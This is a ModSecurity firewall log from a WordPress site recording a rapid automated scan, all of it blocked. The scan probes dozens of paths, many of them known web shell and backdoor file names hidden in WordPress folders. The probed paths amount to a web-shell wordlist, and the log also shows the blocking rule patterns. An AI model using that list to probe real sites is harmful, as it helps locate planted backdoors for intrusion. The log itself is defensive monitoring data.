[Thu Nov 20 07:11:23.195008 2025] [:error] [pid 55342:tid 55377] [client 185.223.152.4:64995] [client 185.223.152.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aR5Om7g6x32Tvk7fIG9OWAAAAEU"]
[Thu Nov 20 07:11:23.861945 2025] [:error] [pid 34444:tid 34450] [client 185.223.152.84:28955] [client 185.223.152.84] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/leafmailer.php"] [unique_id "aR5Om1NEol4jlmmA_GOoogAAAUQ"]
[Thu Nov 20 07:11:24.529079 2025] [:error] [pid 55430:tid 55436] [client 185.223.152.79:50643] [client 185.223.152.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aR5OnPPZXaIMEU4pE7tS5wAAAMM"]
[Thu Nov 20 07:11:25.197508 2025] [:error] [pid 34405:tid 34426] [client 185.223.152.85:24859] [client 185.223.152.85] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/search/"] [unique_id "aR5OnTFpvu8oRK7ATfuGYwAAARM"]
[Thu Nov 20 07:11:25.873015 2025] [:error] [pid 55343:tid 55401] [client 185.223.152.67:28247] [client 185.223.152.67] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aR5OnVWlO3EnyVMV7w4NWgAAAII"]
[Thu Nov 20 07:11:26.549066 2025] [:error] [pid 55343:tid 55415] [client 185.223.152.68:33031] [client 185.223.152.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/images/index.php"] [unique_id "aR5OnlWlO3EnyVMV7w4NWwAAAJA"]
[Thu Nov 20 07:11:27.220448 2025] [:error] [pid 55342:tid 55372] [client 185.223.152.75:52007] [client 185.223.152.75] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/update/function.php"] [unique_id "aR5On7g6x32Tvk7fIG9OXAAAAEA"]
[Thu Nov 20 07:11:27.900092 2025] [:error] [pid 55342:tid 55395] [client 185.223.152.73:63687] [client 185.223.152.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/assets/"] [unique_id "aR5On7g6x32Tvk7fIG9OXQAAAFc"]
[Thu Nov 20 07:11:28.573226 2025] [:error] [pid 34405:tid 34412] [client 185.223.152.72:27077] [client 185.223.152.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/menu.php"] [unique_id "aR5OoDFpvu8oRK7ATfuGZgAAAQU"]
[Thu Nov 20 07:11:29.251466 2025] [:error] [pid 34444:tid 34461] [client 185.223.152.91:47887] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aR5OoVNEol4jlmmA_GOorQAAAU8"]
[Thu Nov 20 07:11:29.920706 2025] [:error] [pid 34405:tid 34414] [client 185.223.152.89:34357] [client 185.223.152.89] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/upload/"] [unique_id "aR5OoTFpvu8oRK7ATfuGZwAAAQc"]
[Thu Nov 20 07:11:30.590407 2025] [:error] [pid 55340:tid 55350] [client 185.223.152.76:64267] [client 185.223.152.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/function/function.php"] [unique_id "aR5OovOxD-NeMydTybDT7AAAAAU"]
[Thu Nov 20 07:11:31.287166 2025] [:error] [pid 55342:tid 55394] [client 185.223.152.79:30233] [client 185.223.152.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aR5Oo7g6x32Tvk7fIG9OYgAAAFY"]
[Thu Nov 20 07:11:31.956365 2025] [:error] [pid 34405:tid 34409] [client 185.223.152.74:41251] [client 185.223.152.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aR5OozFpvu8oRK7ATfuGaAAAAQI"]
[Thu Nov 20 07:11:32.708922 2025] [:error] [pid 55343:tid 55423] [client 185.223.152.71:20629] [client 185.223.152.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/about.php"] [unique_id "aR5OpFWlO3EnyVMV7w4NXQAAAJg"]
[Thu Nov 20 07:11:33.421587 2025] [:error] [pid 55342:tid 55387] [client 185.223.152.74:28365] [client 185.223.152.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aR5Opbg6x32Tvk7fIG9OZgAAAE8"]
[Thu Nov 20 07:11:34.092233 2025] [:error] [pid 55343:tid 55400] [client 185.223.152.4:65433] [client 185.223.152.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aR5OplWlO3EnyVMV7w4NYAAAAIE"]
[Thu Nov 20 07:11:34.762468 2025] [:error] [pid 55342:tid 55382] [client 185.223.152.67:42427] [client 185.223.152.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/wp-login.php"] [unique_id "aR5Oprg6x32Tvk7fIG9ObAAAAEo"]
[Thu Nov 20 07:11:35.433388 2025] [:error] [pid 55342:tid 55379] [client 185.223.152.90:51563] [client 185.223.152.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aR5Op7g6x32Tvk7fIG9ObQAAAEc"]
[Thu Nov 20 07:11:36.103326 2025] [:error] [pid 55343:tid 55423] [client 185.223.152.91:53839] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aR5OqFWlO3EnyVMV7w4NdAAAAJg"]
[Thu Nov 20 07:11:36.793386 2025] [:error] [pid 55343:tid 55405] [client 185.223.152.77:56655] [client 185.223.152.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aR5OqFWlO3EnyVMV7w4NfQAAAIY"]
[Thu Nov 20 07:11:37.483993 2025] [:error] [pid 55430:tid 55456] [client 185.223.152.69:62449] [client 185.223.152.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/about.php"] [unique_id "aR5OqfPZXaIMEU4pE7tTAgAAANc"]
[Thu Nov 20 07:11:38.156445 2025] [:error] [pid 34405:tid 34413] [client 185.223.152.84:59161] [client 185.223.152.84] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/themes/"] [unique_id "aR5OqjFpvu8oRK7ATfuGbQAAAQY"]
[Thu Nov 20 07:11:38.825295 2025] [:error] [pid 34444:tid 34456] [client 185.223.152.67:39719] [client 185.223.152.67] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aR5OqlNEol4jlmmA_GOo6QAAAUo"]
[Thu Nov 20 07:11:39.501408 2025] [:error] [pid 34444:tid 34450] [client 185.223.152.84:31449] [client 185.223.152.84] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/function.php"] [unique_id "aR5Oq1NEol4jlmmA_GOo6wAAAUQ"]
[Thu Nov 20 07:11:40.169235 2025] [:error] [pid 55340:tid 55357] [client 185.223.152.70:60923] [client 185.223.152.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aR5OrPOxD-NeMydTybDUIwAAAAw"]
[Thu Nov 20 07:11:40.838656 2025] [:error] [pid 34405:tid 34417] [client 185.223.152.83:28849] [client 185.223.152.83] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/chosen/function.php"] [unique_id "aR5OrDFpvu8oRK7ATfuGbwAAAQo"]
[Thu Nov 20 07:11:41.507477 2025] [:error] [pid 55340:tid 55353] [client 185.223.152.75:35089] [client 185.223.152.75] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aR5OrfOxD-NeMydTybDUJgAAAAg"]
[Thu Nov 20 07:11:42.180412 2025] [:error] [pid 55343:tid 55423] [client 185.223.152.74:44265] [client 185.223.152.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aR5OrlWlO3EnyVMV7w4NhgAAAJg"]
[Thu Nov 20 07:11:42.847435 2025] [:error] [pid 55343:tid 55416] [client 185.223.152.91:35597] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aR5OrlWlO3EnyVMV7w4NiAAAAJE"]
[Thu Nov 20 07:11:43.534618 2025] [:error] [pid 55343:tid 55411] [client 185.223.152.80:40659] [client 185.223.152.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/item.php"] [unique_id "aR5Or1WlO3EnyVMV7w4NigAAAIw"]
[Thu Nov 20 07:11:44.204115 2025] [:error] [pid 34405:tid 34416] [client 185.223.152.75:52725] [client 185.223.152.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/crop/index.php"] [unique_id "aR5OsDFpvu8oRK7ATfuGgAAAAQk"]
[Thu Nov 20 07:11:44.871806 2025] [:error] [pid 34405:tid 34408] [client 185.223.152.77:36405] [client 185.223.152.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/include.php"] [unique_id "aR5OsDFpvu8oRK7ATfuGgQAAAQE"]
[Thu Nov 20 07:11:45.550062 2025] [:error] [pid 55340:tid 55345] [client 185.223.152.85:64551] [client 185.223.152.85] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/cgi-bin/user/index.php"] [unique_id "aR5OsfOxD-NeMydTybDUPQAAAAA"]
[Thu Nov 20 07:11:46.227315 2025] [:error] [pid 55342:tid 55377] [client 185.223.152.80:53569] [client 185.223.152.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/fonts/beiruti/index.php"] [unique_id "aR5Osrg6x32Tvk7fIG9OjAAAAEU"]
[Thu Nov 20 07:11:46.904002 2025] [:error] [pid 55343:tid 55404] [client 185.223.152.84:63895] [client 185.223.152.84] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/plugins/wp-login.php"] [unique_id "aR5OslWlO3EnyVMV7w4NjwAAAIU"]
[Thu Nov 20 07:11:47.573985 2025] [:error] [pid 55343:tid 55409] [client 185.223.152.74:53071] [client 185.223.152.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/config.php"] [unique_id "aR5Os1WlO3EnyVMV7w4NkQAAAIo"]
[Thu Nov 20 07:11:48.248905 2025] [:error] [pid 34444:tid 34451] [client 185.223.152.81:33001] [client 185.223.152.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/xmrlpc.php"] [unique_id "aR5OtFNEol4jlmmA_GOo_AAAAUU"]
[Thu Nov 20 07:11:48.919415 2025] [:error] [pid 55342:tid 55382] [client 185.223.152.82:31065] [client 185.223.152.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentyfour/patterns/wp-good.php"] [unique_id "aR5OtLg6x32Tvk7fIG9OkQAAAEo"]
[Thu Nov 20 07:11:49.593755 2025] [:error] [pid 55343:tid 55414] [client 185.223.152.83:60217] [client 185.223.152.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aR5OtVWlO3EnyVMV7w4NnwAAAI8"]
[Thu Nov 20 07:11:50.265010 2025] [:error] [pid 55430:tid 55449] [client 185.223.152.80:28335] [client 185.223.152.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/widgets/admin.php"] [unique_id "aR5OtvPZXaIMEU4pE7tTGwAAANA"]
[Thu Nov 20 07:11:50.933646 2025] [:error] [pid 55430:tid 55443] [client 185.223.152.91:54711] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-Owl.php"] [unique_id "aR5OtvPZXaIMEU4pE7tTHAAAAMo"]
[Thu Nov 20 07:11:51.610867 2025] [:error] [pid 55342:tid 55383] [client 185.223.152.72:37805] [client 185.223.152.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/plugins/about.php"] [unique_id "aR5Ot7g6x32Tvk7fIG9OkwAAAEs"]
[Thu Nov 20 07:11:52.278655 2025] [:error] [pid 55342:tid 55385] [client 185.223.152.71:58741] [client 185.223.152.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aR5OuLg6x32Tvk7fIG9OlAAAAE0"]
[Thu Nov 20 07:11:52.947055 2025] [:error] [pid 55340:tid 55359] [client 185.223.152.86:25579] [client 185.223.152.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aR5OuPOxD-NeMydTybDUQgAAAA4"]
[Thu Nov 20 07:11:53.617757 2025] [:error] [pid 55430:tid 55456] [client 185.223.152.69:27139] [client 185.223.152.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/"] [unique_id "aR5OufPZXaIMEU4pE7tTIAAAANc"]
[Thu Nov 20 07:11:54.285196 2025] [:error] [pid 34444:tid 34446] [client 185.223.152.84:33571] [client 185.223.152.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/themes.php"] [unique_id "aR5OulNEol4jlmmA_GOo_wAAAUA"]
[Thu Nov 20 07:11:54.952706 2025] [:error] [pid 34444:tid 34461] [client 185.223.152.90:26517] [client 185.223.152.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aR5OulNEol4jlmmA_GOpAAAAAU8"]
[Thu Nov 20 07:11:55.624008 2025] [:error] [pid 34444:tid 34458] [client 185.223.152.84:60119] [client 185.223.152.84] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/ss.php"] [unique_id "aR5Ou1NEol4jlmmA_GOpAgAAAUw"]
[Thu Nov 20 07:11:56.294494 2025] [:error] [pid 55342:tid 55372] [client 185.223.152.82:23035] [client 185.223.152.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aR5OvLg6x32Tvk7fIG9OlgAAAEA"]
[Thu Nov 20 07:11:56.963153 2025] [:error] [pid 55430:tid 55455] [client 185.223.152.66:24607] [client 185.223.152.66] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "aR5OvPPZXaIMEU4pE7tTIwAAANY"]
[Thu Nov 20 07:11:57.635167 2025] [:error] [pid 34444:tid 34454] [client 185.223.152.74:36661] [client 185.223.152.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aR5OvVNEol4jlmmA_GOpCAAAAUg"]
[Thu Nov 20 07:11:58.325026 2025] [:error] [pid 55343:tid 55421] [client 185.223.152.87:21075] [client 185.223.152.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aR5OvlWlO3EnyVMV7w4NpwAAAJY"]
[Thu Nov 20 07:11:58.992910 2025] [:error] [pid 34444:tid 34459] [client 185.223.152.91:41479] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wander.php"] [unique_id "aR5OvlNEol4jlmmA_GOpCQAAAU0"]
